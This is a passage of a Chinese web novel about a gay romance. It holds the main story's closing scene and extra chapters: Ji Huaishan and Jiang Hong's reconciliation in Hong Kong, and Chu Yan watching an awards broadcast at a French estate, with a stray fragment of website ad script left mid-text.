“在别墅做的事?……什么事儿?这个狗日的,还惦记着呢,死心吧你……”杨原野皱着眉头,念念有词地把信纸撕成碎片,一股脑地塞进了嘴里。 唰啦—— 阳台的移门打开,带进来一股子凉风。 宗天天不满地冲杨原野嚷嚷:“赶紧关上,冻死了!哎?你嘴里吃什么呢?” 杨原野憋着脸费力吞咽,根本没法回话。 易卿尘见状笑了笑,接话道:“还能吃什么?吃醋呗。” 窗外传来一阵烟花的声音,居然有人提前一天就开始放烟花庆祝新年了。 “好像是后面那个楼在放,走走走,咱下楼看看去。”宗天天提议道。 “好啊!等我一下。”易卿尘说完走进里屋去找围巾。 拿完自己和杨原野的两条大围巾,易卿尘瞥见易小雪为自己亲手织的那顶白色的帽子,心头一动,便也拿起来,和围巾一起抱在手里。 “我来了!” 杨原野正一个人站在门口等他,宗天天已经先下了楼。 易卿尘踮起脚尖,把围巾缠在杨原野的脖子上,还没做完,就被杨原野一把拉进怀里,轻声耳语道:“哥哥,我今晚有话审你,不老实交待小心屁股开花。” 易卿尘一愣,“滚。” 小脸一红,他伸手把杨原野推开,抱着围巾和帽子夺路跑下楼去。 烟花一个接一个地腾空,纵情地绚烂后,在夜空放肆地爆炸,仿佛千万朵花盏,又如一场盛大的美梦。 三个人站在楼下的广场中央,周围全是看热闹的人群,熙熙攘攘,满是过年的气氛。 杨原野垫脚朝远处望去,拽了拽易卿尘的胳膊说道:”我去,后面那个小区也在放烟花,特带劲儿欸!来,小尘我抱你看看!” 杨原野伸出一只手,可眼睛一直盯着天上的烟花,听易卿尘这边没动静,又立马蹲下身子拍了拍自己的肩膀说:“要不你骑我脖子上看吧,更得劲儿,快点儿,一会儿放完了!” 等半天也没反应,杨原野扭过头,只见易卿尘双手僵硬地插兜站在那儿,视线扫过宗天天正抿嘴偷乐的脸,害羞的别过头去,说道:“赶紧站起来,别丢人现眼。” 杨原野见状讪讪地站起身,挺起腰杆,从背后给宗天天来了一记锁喉。 宗天天跟他推搡打闹着,抬眼看见这满目这转瞬即逝的绚丽,不禁油然而生了些酸腐文青的感慨,幽幽地问道: “哎,问你俩一个问题!你们是从什么时候开始,成为现在的你的?” 易卿尘和杨原野相视一笑,不约而同地给了宗天天一个嫌弃的表情。 杨原野撇撇嘴:“这是什么绕弯子的傻X问题?不知道!” 宗天天斜睨他一眼:“听不懂?学过高中语文吗?你是从什么时候开始,成为现在的你的?都给我好好答。” 易卿尘收紧了些脖子上的厚围巾,哈气的白雾中,他搓了搓手,说道:“应该是六岁吧……” 六岁那年,秦寒松牵着易卿尘的手,走出了孤儿院。从此,他开始爱上这个世界。 “你呢?”宗天天冲杨原野抬了抬下巴,“再说不知道阳痿十年!” 杨原野给宗天天递了个凶狠的表情,扭头对上了易卿尘那双亮晶晶的映着烟花的眸子,他漫不经心地答道:“遇上小尘的那天吧。” 那一天,京北瓢泼大雨。偶然间,他遇见了他的命中注定。 如同宇宙中的恒星和行星,如同全世界所有的海水,如同生生不息的原野之尘。 是初见,亦是重逢。 ——全文完。 104.104 番外 山鸿CP 写在前面:此番外是季淮山和江鸿的故事,时间线是正文大结局之后。 深情学长律师攻vs浪子回头俏公子受 排雷:季淮山洁,江鸿不洁(是个浪荡公子,有过许多段疯狂的□□关系,心中所爱一直都只有季淮山) 番外:像鸟,飞往你的山 香港,老牌的欲望都市,不变的纸醉金迷。 江琳达入狱后,江际中大病了一场,随后公开否认了和江琳达的父女关系,并决定将名下产业转移到江鸿名下。这次,季淮山陪江鸿回香港就是处理江父修改遗嘱的事。 当晚,季淮山和江鸿二人作为香港大学杰出校友,一同受邀出席了某慈善基金会的晚宴。晚宴的组织者是现任学生会会长,意气风发的年轻游泳健将,初见江鸿便挪不开眼。 晚宴还没结束,江鸿便早已不见人影。季淮山到处去找,最后在酒店艺廊尽头找见了人。江鸿正和那个比他小十岁的学生会长激吻在一起。 季淮山妒火中烧,忍无可忍,大步过去将那年轻男生推倒在地,下巴磕出一道口子。 江鸿一看急了,挡在中间,厉声质问道:“你有病?吃错药了!” 江鸿是个风流成性的公子哥,季淮山不是第一天知道,这么多年,他像影子一样追随着、远远地守护着江鸿,可今天,他忽然觉得累了。他从来都不满足于这样的关系。 季淮山拽着江鸿的胳膊,企图把人拉走,谁知江鸿用力挣脱,使劲甩开了他的手。 “季淮山,你拉我干嘛?放手!” “干嘛?”季淮山表情狰狞、双目猩红地靠近,低吼道,“我怕你得艾滋病。” 话音刚落,江鸿抬手赏了他一记耳光。 两人长久地对视,江鸿的眼眶慢慢噙满了热泪,声音颤抖地说:“你滚。” …… 一晃儿五天过去了。曾经也有过那么几次,两人闹得很僵,可从来都不超过三天,季淮山就会假装无事来找他。这次却一点儿动静都没有。 江鸿硬撑了几天,最终在喝了几杯烈酒之后给季淮山发了消息,约他今晚见面。 季淮山一直没回他消息。江鸿的心悬了起来,七上八下地,做什么都没心思。 傍晚10点,正是香港大学图书馆闭馆的时间。旁边的星巴克正大摆长龙,学生们靠着咖啡续命,接着转战一旁的24小时机房自习室继续“搏尽”。 一个男人正立在图书馆门口的小广场边,身长玉立,风姿俊朗,好整以暇地摸出一支烟,倚着矮墙俯视西环的夜景吞云吐雾——很带劲儿,却违反校规。和江鸿这个人一样。 作为张爱玲和林夕的学弟,港大中文系的传奇,江鸿曾是著名的港岛风流靓gay,家世显赫,才华横溢,一朝高调出柜,走马灯似地换男友,满城皆知。 一个身量高大的男人沿着中山阶走了下来,江鸿冲他挥了挥手。季淮山今天没穿西装,一身休闲打扮,靛色针织polo衫塞进工装裤里,裤脚卷边,有种难得的随性。 季淮山走近,站在江鸿身边,不出意料地抬手拔掉了他嘴里的香烟。季大律师就是这么无趣,江鸿悬着的心一下子就踏实了。 季淮山没有如往常那般扔掉他的烟,而是看了一会儿江鸿刚抽过的烟头,径直将湿润的烟蒂塞进嘴里,狠狠地吸了一口。 火光像一豆橙色小灯,越来越亮,鼻孔翕动,呼出一阵带有强烈男性荷尔蒙气息的白雾,氤氲在江鸿眼前。江鸿看了忽然觉得痒,却不知道是哪里痒。 江鸿低头看了一眼表,“你今天迟到了。” 季淮山一向准时准点,说好了十点见面,现在星巴克已经打烊了,他才姗姗来迟。迟到了整整十一分钟。要知道江少爷可从来不等人。 江鸿发现今天季淮山看他的眼神很缓慢,棱角分明的侧脸也不似平常那般紧绷,反而透着散漫,让他想到梁朝伟在电影《花样年华》里最后经过张曼玉的门口却没有敲门。那是1961年的香港,有两个相爱的人错过了彼此。 季淮山把那香烟抽到最后一口,烫了手指才眷恋地扔掉。见面四分钟后,他才终于开了口:“不是我守时,是我从不敢迟到,怕来迟了,你就走了,所以总是我等你。” 声音混着烟草和海风的味道,呛得人莫名鼻酸。 “江鸿,你还不知道吧?山下那家新疆馆子不做手抓羊肉饭了,他们早换了厨师。我刚才从西闸一路走上来,发现这些年,很多人和事都变了。只有你没变。” “只有我没变……”江鸿茫然地重复,“那是好还是坏?所以,你也变了吗?” “你还是心里空空,不装任何人,也不装你自己。” 季淮山一句话说破他。 “还记得你毕业那天我们在陆佑堂门口唱的那首歌?《Wake Me Up,When September Ends》”季淮山又说,“这么多年,我看你为所欲为,你要怎样我都陪你。如今又到九月了,我却还是叫不醒你……所以——” “所以,”江鸿急迫地打断他,抢走这个说出“所以”的权利,他不许别人践踏他的自尊和骄傲,他宁愿自己结束,“所以你也不用再浪费时间了,该干嘛干嘛去,我根本就无所谓。如果你来香港就是为了说这个,我只能说,你打个电话就行了,白白浪费了机票钱。” 季淮山哑然失笑:“家财万贯的江大少爷,竟然在谈机票钱,真够讽刺的。” “你怎么知道我在乎什么?我最讨厌你自以为很了解我的样子!”江鸿别过脸去,他不知道为什么,他的脸锈了,眼睛在发烧。 静默了许久,耳畔偶有轮船的汽笛声经过,待江鸿转回头时,身边已经空无一人。 港大坐落在山上,鸟瞰中西环,图书馆一带视野最是开阔,可江鸿看了又看,除了满眼空旷寂寥的海水,什么也找不见。 江鸿一个人在校园里闲逛,沿着中山阶一路往上走,他不敢往一旁斜视,因为他不用看也知道,那里是孙中山的坐像,身旁是满池的荷花。他讨厌那些荷花。 拾阶而上,推开柳木扶手的玻璃门,遂进了庄月明文娱中心。江鸿恍惚间仿佛看见不远处两个人影,穿着相同的HKU文化衫,一同踏上扶梯。 “学长,这里的扶梯怎么只有往上,没有往下的?” “据说是因为庄月明是个跛子,只进不出,她的魂魄就会被困在这里。你抬头看看,这个文娱中心的形状像不像一口棺材?” “啊……她不是李嘉诚的发妻吗?为什么要困住她?” “我也不知道。” 那是十七岁的江鸿和十九岁的季淮山。如今十年过去了。 刚入大学那年,他在阶梯教室连轴上课,季淮山总是恰好路过,塞给他一份“蜂蜜奶油西多士”。自己小组讨论到凌晨,外面挂了八号风球,季淮山怀揣着雨披星夜前来接他回舍堂。他在大一学期论文的扉页,认真写下第一个感谢的人名字是Mr. Ji。 那是十七岁的江鸿,干净勤勉,死在十八岁以前。那一年,他目睹母亲因为父亲无休止的滥情而割腕,自杀未遂,母亲醒后对他说的第一句话是:“如果没有你,我早就可以解脱了。” 从那之后江鸿就变了,翘课滥交,醉生梦死,声名狼藉,成了大家口中的浪荡子。 而那些年季淮山在哪儿呢?江鸿大概有些印象。 律所实习生季淮山时常深夜跑去兰桂坊不同的酒吧把他扛回家,然后再一个人回中环加班; 成了大律师的季淮山经常需要出面替他处理掉那些死缠烂打的男人,然后再警告他说“没有下次了。” 他抽风要去内地发展,季淮山便放弃了香港律所合伙人的机会,毅然决然陪他去了京北。 可他越活越像一只鸟,随心所欲地到处飞,因为羽毛漂亮而四处风流。最夸张的一次,他跟一个认识不到一周的美国人去了迈阿密,准备闪婚。登记前一天,他撞见那人在偷偷注射毒品,口吐白沫,吓得他当即打电话给季淮山,把烂摊子丢给他,自己飞去夏威夷疗愈情伤。 他真的很恶劣,无可救药。 如今,季淮山也受不了他,掉头走了。是他活该。 江鸿鼻腔发酸,可一用理智思考,就得出结论——他不该为此难过。他是江鸿,江鸿就是个谁都不在乎的坏坯,谁来谁往,都是水面投出的虚影儿,镜花水月,要走便走,这样才能百毒不侵,刀枪不入。他一直是这么过来的。 况且,如今是二十一世纪的香港,不是1961年,婉曲的爱情故事最不入流,只有钱、权和性,才最痛快。 江鸿掏出手机,拨了个电话,对方懒倦的声音传来:“我的江少爷,大作家,找我干嘛?” “上床。”江鸿目的明确。 对方明显声音振奋了:“欸?你回香港了?” “不然呢?电话里跟你撸吗?少废话,出不出来?” “出出出!你等我会儿,我在阿May这儿,她正洗澡呢。” 江鸿嗤一声:“你这是刚完事儿?还有没有劲儿了?不行我换人了。” “别啊,我这还没开始呢,有的是劲儿,一会儿保准伺候好你。我让秘书发你酒店房间号,不说了,一会儿见,我特么内裤都穿反了。” 江鸿补充道:“换个地儿,你俩待过的,我嫌脏。” “知道,懂。” 真是个贴心的床伴。 像往常一样,他摒弃所有沉重、深刻、思考,继续做个尽职尽责的浪子,一只肤浅到只懂得快乐、□□的鸟。 抬手招了辆的士,穿隧道过海到九龙尖沙咀,窗外的海洋是海洋,灯也是海洋。香港香港,我的故乡,东方之珠,永远辉煌。 叫Jonas的男人在一楼给他留了房卡,刷卡进电梯,推开酒店套房的门,一股过分的男士古龙水味扑进鼻腔,江鸿皱了皱眉。 一个半扎着发髻、挺拔俊美的混血男人迎过来,一把将江鸿揽住,凑近了颈窝作势嗅了起来:“让我闻闻,江少爷今天是太high,还是太down……” 以往出来上床不是喝酒喝高了,就是心情太差想发泄,没有正常的时候。 “你是狗吗?用闻的?”显然江少今晚心情欠佳。 江鸿推开他的胳膊,坐进沙发里,从桌上鎏金的烟盒里抽出一支烟点上。 好床伴的第一原则就是知道什么时候该闭嘴,什么时候该张嘴,什么时候吞进去。男人闭了嘴,不去讨论江鸿今天为什么想上床,而是只关心上床本身。Jonas笑了笑,问道:“今天你想做上面,还是下面?我都行,你难得回来一趟,随你高兴。” 江鸿嘬了口烟,漫不经心地说:“那你去准备吧。” 看来江少今天心情差到了极点。男人压扁了声音,不似怕他,像是哄他:“行,那你多等我会儿,我也好久没跟男人做了。” 浴室的水声哗哗哗地响,江鸿立在落地窗前,眺望着港岛的夜色出神。 雪泥留鸿爪,山径见苔痕,这些年,香港在他身上刺青。这个在夹缝中发展的都市,兼具东方的含蓄,西方的直白;东方的煽情,西方的冷淡;东方的情感,西方的客观。 人人都说香港是融合的。江鸿却觉得,香港是自我矛盾的。就像江鸿自己。 他放荡风流,写的书里却满是坚贞不渝。他极度自爱,又无限自毁。他觉得自相矛盾就是这世界的真相,一个人最新的照片也是他最老的照片,难道这不矛盾吗?而此刻抽烟的江鸿,是真正江鸿的赝品。 思绪纷飞间,江鸿从玻璃窗的反光里掠见男人□□地从浴室里走出来,轮廓分明,身材无可挑剔。房间没拉窗帘,但层高到一定程度,身边就无人比肩,这就是有钱的好处,你赤身裸体用最原始的方式享受维港的夜,自有月光做长衫。 男人从身后靠近,用胯骨顶了顶他,他扭过头去,男人顺势从身后扳他的脸,扳成仰望的样子,同他接吻。 不知是谁在他脑海里按的播放键,江鸿忽然一丝一缕地被比利·乔·阿姆斯特朗的歌声席卷: Summer hase and passed, The innocent can never last, Wake me up when September ends. Wake me up when September ends. Wake me up when September ends. 歌声不断重播,今夜的江鸿十分动荡。床太软,江鸿不喜欢;灯太亮,江鸿不喜欢;这张脸,江鸿也不喜欢。 “你转过去。”他命令道。 半长的头发带着天然的卷度,发梢仍旧潮湿,江鸿看着那颗扎起来的小丸子发髻在面前有节律地晃,晃得他更加荡乱,他加重了力度,仿佛要把过去十年所有的闷堵都捅穿,所有空旷都填满。 可他填不满,越晃越少,他的灵魂被泼洒在了床上。 耳畔响起季淮山的声音:“你还是心里空空,不装任何人,也不装你自己。” 空空,空空如也,空空如也…… 江鸿放任躁动不安的自己,他将人整个牢牢压制在可控范围内。他明明和那人贴得很近,毛孔里也不断沁汗,却仍错觉置身冰窖。 心里莫名慌得厉害,他没法继续下去,慌乱地退出来,胡乱捡起衣服往身上套,逃命似地奔出了那个房间。 下行的电梯里只有他一个,胸腔里咚咚几乎要冲破。他怔然望着电梯铁皮反射出的自己。江鸿抬起手,狠狠甩了自己一记响亮的大耳光。 九月的香港闷热潮湿,夜风带来少许清凉,廖作安慰。午夜时分的港大校园依然有学生走动。江鸿衣衫凌乱地握着一听啤酒站在他几个小时前站过的地方。 啤酒开罐的声音像一声叹息,叹息着他无处可去,只能回来和十七岁的自己待在一起。 江鸿在想,如果把自己写进书里,他会怎么写? 他可能会写:“这个男人非常滑稽,有一只他用力跳一跳就能够得到的苹果,在他面前悬垂了十年,可他却缩起来、矮下去,捡食路边腐烂的叶子。” 他也可能会写:“人固有一死。” 十七岁的江鸿靠着墙站累了,抬腿往前走去,拾阶而上,一扭头,钻进了荷花池。 那年,满池的荷花,季淮山在这里质问他,问他为什么突然变得如此荒唐不堪,问他还有没有羞耻心?然后他们吵起来,吵得很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凶,他振振有辞,趾高气昂,直到季淮山说:“狡辩,这都是你自己的错!” 都是他的错。 江鸿突然哭了,肝肠寸断地哭。如果他爱的人也对他失望,那么他决定让自己“死掉”,失序的人生,就这么一错到底吧。 从那以后,他再没正眼看过这些荷花。 记忆逐渐模糊,却不曾真正消逝。 每年港大会栽种两次荷花,三月种的荷花,六月开,五月种的荷花,九月开。现在已是最后的花期,不抓住,就过了。荷花明年还会再开,只是九个月的等待,可是人,一旦错过了,就是整根掌纹。 江鸿默默走下去,青石板变成了木栈桥,他一路走进花期的尾声里去。 叶上初阳干宿雨、水面清圆,但却不见“一一风荷举”。江鸿忽然惊慌失措,明明还没有到九月末,为什么荷花都匆匆谢了…… 江鸿突然为了一池提早谢了的荷花崩溃。像那只没有预兆就收回的手,他去抓,却晚了。 他跪在栈桥边,探出去大半个身子,使劲地拨弄池水,温凉的池水沾湿了一片前襟,也不罢手。他试图从荷叶中翻找出一朵半朵还开着的花,就好像急着找回十七岁时干净的自己,把他的灵魂放回躯壳里。 一朵也没有。都是他自己的错。 他蜡在原地,动弹不得。 手机在兜里嗡嗡地震,来电显示——季淮山。 隔了好久,江鸿终于按下免提,听着那熟悉的声音对他客气地说道:“江鸿,你睡了吗?没打扰你吧?我明天一早的飞机去美国,小野邀请我们去他的婚礼,你去不去,自己跟他们说吧。” “……”江鸿张了张嘴,却发不出声音。 “喂?你在听吗?”对方失去耐心,“不想聊的话,我挂了。” “季淮山。”江鸿开了口才发现自己的声音在抖。 “为什么你说都是我自己的错?为什么我就不可以任性一回?为什么连你也不原谅我?季淮山……” “……你怎么了?” 江鸿不答,他已经开始哭了,电话那头能听见他抽鼻子的声音。他对着电话哭,又闷在膝头哭,肩膀一耸一耸,像港岛的海风。 “江鸿,别哭了。”季淮山在电话里轻声说。 他什么都没有了,连一朵荷花都留不住,他怎么能不哭。 “你别走,别走……”江鸿的挽留碎在夜风里,他蜷在地上抱着自己的膝盖,像一只毛毛虫,在还没有变成蝴蝶之前,就被折断了翅膀。 “呼……”一声轻叹从听筒里传来,“我没走啊,你回头看看。” 江鸿转过头,朦胧的泪眼里,一个人影向他走近。眼泪赋予了他一千度的近视,可他依然一眼就认出那个人,那个人是他私藏的真心,出现在他人生的每一帧画面,是模糊的背景,却是生命的底色。 他手脚并用地想起身,可是腿蹲麻了,脚踝也是软的,扑腾两下又跌回到地上,像一只小鸟,在艰难地学着飞翔。这是他最狼狈的一刻,右半边脸颊浮着红肿的掌印,眼泪鼻涕川流不息,衣襟湿了大半,连爬带跪地往前挪。像是一只笨鸟。 季淮山快步上前,蹲下身子,伸出胳膊拢他在怀里。他抽抽嗒嗒地说:“季淮山,荷花都谢了……” 温暖的手掌顺着他的背,按住他千万条脆弱的神经,把它们神奇地抚平。 “小鸿,荷花还没开呢。” 江鸿旋即抬脸望向季淮山,瞪着一双湿漉漉的桃花眼,不可置信地眨了又眨:“真的吗?你别骗我。” “我什么时候骗过你?”季淮山反问。 江鸿先是点头,又是摇头,不知道在肯定和否定什么,他一定把季淮山也弄糊涂了,想了想,他解释说:“我爱你。” 季淮山的脸上呈现出富有层次的喜出望外。他用柔软的手掌心擦掉江鸿脸上的眼泪,用因为激动而颤抖的声音说:“江鸿,我也爱你。” “……是爱吗?我以为你只把我当成个任性的小孩。” 江鸿以为季淮山既喜欢他又讨厌他,但不是爱他。 “我是把你当成个任性的小孩,那也是因为我爱你。”季淮山说得十分肯定。 原来又喜欢又讨厌,或者说喜欢一个讨厌的东西,就是爱。 季淮山无限地望进他的脸:“江鸿,我家的拖鞋,你穿过的那双,我再没给别人穿过。你掉在沙发上的一根头发,我把它放在我的枕头上,假装你曾造访过我的卧室。你第一次敲我宿舍的门,借走了我最喜欢的一本书,至今还没还我。” 江鸿傻傻地问:”哪一本书?” 季淮山把手放在他的头顶,发丝缠绕在指尖,“法律文学小说,阿尔贝·加缪的《异乡人》” 出于本能,江鸿背出书中最有名的一句:“我知道这世界我无处容身,只是——” 江鸿:“你凭什么审判我的灵魂?” 季淮山一齐念到:“……只是,你凭什么审判我的灵魂?” 又一阵委屈上涌,江鸿眼里盈满了泪水。 “并不都是你自己的错,小鸿,”季淮山终于看懂了,懊悔地抱紧他,“当年我不该那样说你,对不起,我不知道那对你造成了伤害。现在我才明白为什么我一直叫不醒你……对不起……不是你的错,你那时只有十七岁啊……” 季淮山仿佛念了一段咒语,法力强大解除了曾经的黑魔法,江鸿觉得那千斤重的枷锁一瞬间从他身上卸了下来,他被压断翅膀的脊骨处又开始长出新肉。死去的那个他,开始复活了。 “那本书在我家呢,一会儿就可以还给你。”江鸿不是想还书,而是想带季淮山回家。 季大律师直线脑筋:“放你那儿吧,好像我陪着你一样。” 江鸿听了,抬起脸,不住地摇头:“不要‘好像’,我不要‘好像’,我要你永远陪着我,我要你跟我回家,我不任性了,以后,让我听你的话吧!” 季淮山的大手兜着江鸿的脸,无限怜爱地说:“谢谢你把小鸿还给我。这些年,你真的把他给折腾坏了。” “不折腾了,我累了,季淮山,我想回家……”江鸿投入季淮山的怀抱,像落叶归根,似倦鸟归巢。 季淮山的视线落在江鸿的唇上,低头凑近,温热的气息让江鸿一瞬间心跳失速。 “好,我们回家。” 江鸿真喜欢听季淮山说“我们”。 “不过……” 季淮山停在他的唇边。 “先告诉我,是谁打你了?” 江鸿想到脸上的红肿的掌印,又想到身前来回晃的丸子头,一下子心虚得不知如何作答。 季大律师扳正他的脸,认真地瞧着右边肿得老高的脸颊,说道:“在香港打人,可罚款5000港纸及监禁12个月,但如果是出于自卫,则不算违法。所以,告诉我,小鸿,我该不该去起诉他?” “……”江鸿嚅嗫,“是我自己打的。” 季淮山捕捉到他不坦荡的目光,出于律师的直觉,问道:“你刚才到底干嘛去了?” “看……看海……” 江鸿噌地站起身来,脚步虚浮地一个人往前跑走。 季淮山在背后轻叹一声,唤道: “别跑,下不为例。” 105.105 番外 楚言 上 法国南部加尔省,有一座位于壮丽的嘉德水道桥边的小镇名叫乌泽,是很久以前罗马人修葺的、保留最为完整精美的小镇。 楚家在乌泽近郊有一片占地17英亩的庄园,离开京北后,楚家爷儿仨就一直住在这里。 庄园依山傍水,四季美景各异,河谷边那一片葡萄园近十排老藤,每年只产出极少量的顶级歌海娜葡萄。十五年前天气极好,光照、热量和水分达到了历史上的最大平衡,酝酿出的葡萄酒风味绝佳。 今天楚老爷子特地吩咐下人把那年窖藏的橡木桶打开,顺带邀请了几个老友和他们的家人,一起来庄园坐坐,闲话家常。有些人不在欧洲的,楚时唯还特意派了私人飞机去接到了乌泽。 楚默听家里的私人酿酒师说,这一批歌海娜要三个月后才会达到最佳适饮期,作为一个对葡萄酒酿造品质很执拗的酿酒师,他再三建议迟些开封,都等了十几年了,不差这几天。可不知道为什么,一向随和好说话的楚老爷子这次却异常坚持,必须要今天开窖,早一天、晚一天都不行,为此,差点儿跟酿酒师急了。 楚默一直想找机会问问原因,可今天家里宾客络绎不绝,请的一个个不是老爷子当年在飞行部队的老战友,就是商场上真心实意的伙伴。彼此交心,好几大家子人聚在一起好像有说不完的话,各个都围着老爷子转,身边一直有人,楚默也插不上话,只得暂时压下一肚子的疑问。 人都说“老小孩,小小孩”,楚默只当他有钱的老爸也难得任性一回。 家里到处都是人,热闹极了,可找了一大圈儿也不见他大哥。楚默逮到胖胖的女仆奥利弗大妈,才得知楚言一直一个人躲在二楼的影音室。 这也太不像话了!楚默气鼓鼓地大步走上楼梯。 楚默推开影音室的门,只见屋内黑压压的拉了厚厚的窗帘,透不进半寸光线,活生生浪费了下午最好的太阳。楚言一个人坐在沙发上聚精会神地盯着面前墙上的投影,楚默推门进来他连头都没扭过去瞅一眼。大屏幕上面好像正在播放着什么节目。 楚言穿了一件柔软舒适的淡蓝色卫衣,配一条灰色休闲裤,不似平日西装三件套那样严肃死板,这一身在蓝色萤幕光的映衬下反而显得十分慵懒休闲。 “哥,楼下都是客人,我都快忙疯球了,你可倒好,在这儿躲清闲!”楚默站在沙发边上嗔骂道。 兄弟俩如今早已经摒弃前嫌、重修于好,楚默是个烈火脾气,冲他哥发脾气,也不带犹豫的。 楚言头也不回,竖起一根食指,皱了皱眉,发出一声“嘘——”。 老爷子来了法国大半年,还是头一回宴请,今天这么重要的日子,楚言到底在搞什么鬼?楚默干脆一屁股坐进沙发里,在旁边瞧着。没看两分钟,他就明白过来了。 现在是中国时间晚上十点多,大屏幕上,“星光大赏”音乐颁奖典礼的Live直播已经进行了一大半。怪不得楚言把房间弄得乌漆麻黑的鬼样子,原来是想跟京北来个“天涯共此时”。 楚默毫不克制地翻了个白眼。自从在江琳达的事情上栽了大跟头,他现在对“情爱”有关的一切简直是深恶痛绝。他歪头看着楚言,这个一向理智果决的楚家老大,正不错眼珠地盯着电视,全神贯注到能把投影布盯穿个窟窿。 直播镜头对准了四位入围“年度最佳男歌手”的人选,2X2的格子画面里,右上角的就是楚老大那位著名的“意难忘”先生——易卿尘。 “获得本年度中国流行音乐‘星光大赏’最佳男歌手的是——” 主持人故意拖着长音,背景配乐的鼓点咚咚咚咚渲染着紧张气氛。台下的粉丝们一个个咬着手指甲,大气都不敢喘地熬过这漫长的五秒钟。 “——恭喜,易卿尘!” 电视里传来一阵热烈的掌声和欢呼,楚言倏然间松开了原本紧抓着沙发扶手的手,放松地往后靠进了座椅深处去。 楚默看了直摇头。 镜头跟随着易卿尘一路从台下走向舞台,俊秀清洌的模样,双瞳剪水,顾盼间总带着股欲说还休的纯情劲儿和少年感,每次看都让楚言心头一热。 时隔一年,易卿尘的眼神中除了往常的气质,如今仿佛还添了些安定和盎然的东西,楚言说不好那种感觉,但是相由心生,他一瞬间就能确信,易卿尘现在真的过得很好。这让他既欣慰又心酸。 易卿尘在金色立麦前站定,褪去了当初的青葱局促,如今的他洗尽铅华,眼角眉梢都是舒展的、从容的、优雅的。那是一股由内而外散发出来的光芒,是一种平和拥抱世界的姿态,充满魅力,让人的目光无法轻易从他身上移开。 他郑重向台下鞠了一躬,接着微微调整了一下呼吸,开始发表获奖感言。 “感谢主办方和歌迷们对我的认可,这次不仅是对我个人,也是对新流行民乐的认可。过去一年来,‘夜归鹿山’东方音乐剧在全国巡演,每一站,歌迷乐迷们都不吝对我的支持与鼓励,相信不久的将来,我们一定可以将这部作品带出国门,让全世界都来听我们的新国风。” 楚言坐在那儿极为认真地听着,仿佛军功章也有他的一半似的,虽然易卿尘早已不是他公司的艺人了,如今的成就更和他没有半毛钱关系。 易卿尘继续说着,镜头一晃儿带到他握着奖杯的手,一瞬间,楚言猛地从座位上弹起来,三步并作两步走到屏幕前——易卿尘那修长白皙的左手无名指上戴着一只铂金戒指,虽然只有一秒钟的镜头,却完全刻进了楚言的眼里。他像被雷劈了一样呆立在那儿。 楚默精明得很,自然也注意到了这一切,不出声地观察着他大哥越来越沉的脸色,那气场压得楚默也不太能说出话来,油然而生出一种对他哥的同情来。 只见易卿尘接着说:“在此我还要感谢我的经纪人姬波先生,助理博博,以及所有的工作伙伴。当然,还有一个于我而言最重要的人——”易卿尘顿了顿,眼睫低垂了一刹那,再抬头看向镜头时,目光温柔得可以把一切坚硬的事物都融化,他接着说道,“他也是我心目中的最佳男歌手。” 镜头摇到台下嘉宾席,一众明星心照不宣地齐齐扭头看向同一个方向。摄影师很懂行的切换到近景画面,给了万众目光焦点上的人一个大特写——他身着一身孔雀蓝的西服,黑色衬衣领口跳着几颗雪亮的银色铆钉,配上那刀削斧凿的英俊五官,简直把时尚与潇洒演绎到了极致。 画面这一切,立刻引起现场粉丝们天崩地裂的尖叫,差点儿把房顶掀翻,一旁的某歌手边笑边夸张地捂住耳朵。全场持续高呼一个名字:“杨原野!杨原野!杨原野!……” 杨原野先是微微一怔,仿佛没料到自己会被易卿尘如此公开地“特别感谢”,受宠若惊般张了张嘴。片刻后,他便眸光一转,坦然地漾出了一个十分甜蜜的露牙笑。 摄像机一直对着他没有移开,杨原野大大方方地冲着镜头挥了挥手,左手无名指上戒指的一圈钻石随着他挥手的动作被拉出一条闪亮耀眼的弧线。 台下立刻响起又一阵更疯狂的惊叫。 待观众们好不容易稍微安静了一些,易卿尘才微笑着继续讲下去。 “感谢他每天吵闹的陪伴和吹捧,给了我源源不断的创作灵感,让我做什么都变得很有底气,也让我开始相信,原来每一个明天真的可以比今天还要更好一点……” 易卿尘仿佛有些哽住,眼角因为动情而泛出明显的红色,水光迤逦,眉头微微地簇了起来,情到深处,总是快乐中夹杂着痛苦,安定中带着软弱。就是这种表情,楚言曾觉得,如果易卿尘能用这个表情看自己一眼,他这辈子就值了。 易卿尘的目光隔着空气带出温柔的火花,落在不远处的嘉宾席,接着用极其真挚而缓慢的音调说道:“杨先生,谢谢你带给我的一切,我爱……” 啪——! 屏幕里易卿尘话还没说完,楚默拿起遥控器,二话不说直接就把电视给关了,完了把遥控器往沙发上狠狠一摔,起身上前搭住楚言的肩膀,轻轻拍拂了两下他的背。 “行了哥,翻篇儿了啊!人俩已经打明牌了,虽然过分,但不得不说,他俩确实绝配,你tmd彻底没戏了。咱以后就别天天对着人家一对佳偶流口水了,给咱老楚家长点儿脸。你学学我,当初差点‘喜当爹’了,现在不也还是走出来了吗?多大点儿事儿啊!不过要我说咱家男丁都有点儿情路坎坷,真他奶奶的邪门儿!回头跟爸说道说道去!看看风水……” 楚默一个人絮絮叨叨了半天,想劝他哥想开点儿,可楚言的脸色却肉眼可见地越来越难看了。 “我下去透口气。” 楚言甩掉楚默搂着他的胳膊,拿起茶几上的玻璃杯,独自走去了后院。 这座庄园实在太大,后院的草地一眼望不到边。天高云淡,空气中混合着南法独有的太阳和花草的清香,温度不冷也不热。在这儿是个人都会感觉舒坦,除非是自找不痛快。楚言伸了个懒腰,往葡萄园的方向散步,却一点儿没觉得心里松快。 那一对戒指带给楚言的心理冲击不小,因为那意味着从今往后,他连幻想都是多余了。也是这一刻,他才意识到自己竟然这么久了还没真正的死心,他还是难受,难受得想吐。 这感觉太操蛋了!如果还能有比这更操蛋的,就是在这样的时刻,居然被他撞见有人在偷他家的酒喝! 这人背对着楚言,脑袋后面虽然束着头发,但一看就是个男的,因为那肩膀的宽度,腿的长度,露出的小臂上的肌肉线条和凸起的青色血管走势,虽然弓着身子,扒着梯子,但肉眼可见的少说不会低于一米八。 他手里握着一把野外露营用的军刀,手起刀落,不过三五下,就在橡木桶边沿豁出一道口子。紫红色的葡萄酒沿着木桶壁微细地溢了出来,那人立马伸出一只手兜住了,另一只手摸到事先放在梯子上的高脚杯,一边换手去接葡萄酒,一边伸出舌头把手里兜住的酒液舔了个干净。 